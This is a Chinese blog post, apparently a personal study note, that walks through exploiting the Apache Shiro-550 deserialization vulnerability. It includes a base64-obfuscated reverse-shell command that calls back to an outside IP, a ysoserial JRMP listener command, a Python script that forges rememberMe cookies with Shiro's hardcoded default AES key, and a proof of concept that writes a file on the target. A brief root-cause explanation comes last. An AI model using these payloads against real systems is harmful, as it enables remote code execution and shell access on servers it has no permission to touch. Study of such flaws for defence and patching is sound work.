Apache Shiro反序列化漏洞 | 您所在的位置:网站首页 › 佛经漏洞总结 › Apache Shiro反序列化漏洞 |
最近一直在整理笔记,恰好碰到实习时遇到的Shiro反序列化漏洞,本着温故而知新的思想,就照着前辈们的文章好好研究了下,整理整理笔记并发个文章。新人初次投稿,文章有啥问题的话,还望各位大佬多多包含。 1、Apache Shiro介绍Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。 Apache Shiro &1 结果:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i} 2、通过ysoserial工具中的JRMP监听模块,监听6666端口并执行反弹shell命令, java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' 3、利用检测出的AES密钥,生成payload import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode()) Python2用pip安装Crypto的过程中,出现了各种问题,最主要的问题就是各种报缺少Crypto.Cipher模块的错误,Google百度网上找了一大堆,疯狂pip安装卸载,都无法解决,后来索性采取了手动安装Crypto模块,最后终于解决。 问题一:ImportError: No module named Crypto.Cipher ——>手动下载Crypto包进行安装 下载地址:https://pypi.org/simple/pycrypto/ 问题二:error: command ‘x86_64-linux-gnu-gcc‘ failed with exit status 1 ——>安装依赖库解决: apt-get install build-essential python-dev libssl-dev libffi-dev libxml2 libxml2-dev libxslt1-dev zlib1g-dev 使用test_shiro550.py,生成payload python test_shiro550.py 192.168.31.81:6666 4、利用生成的rememberMe值构造数据包,伪造cookie,发送请求。 5、查看nc监听结果,反弹shell成功。
1、使用ysoserial工具生成poc java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "echo 'test shiro-550' > /tmp/SUCCESS" > poc 2、使用Shiro默认AES Key对payload进行加密 3、brupsuite抓包,发送带有伪造的rememberMe Cookie的请求。 4、查看目标服务器的/tmp目录,确认生成了SUCCESS文件。 Shiro-550漏洞产生的根本原因就是因为AES加密的key硬编码在源码中,从而可以被攻击者利用泄露的AES key伪造rememberMe字段生成cookie值,导致反序列化漏洞。因此,服务器端对cookie值的处理过程反过来就是payload的产生过程:命令=>进行序列化=>AES加密=>base64编码=>产生RememberMe Cookie值。 |
CopyRight 2018-2019 实验室设备网 版权所有 |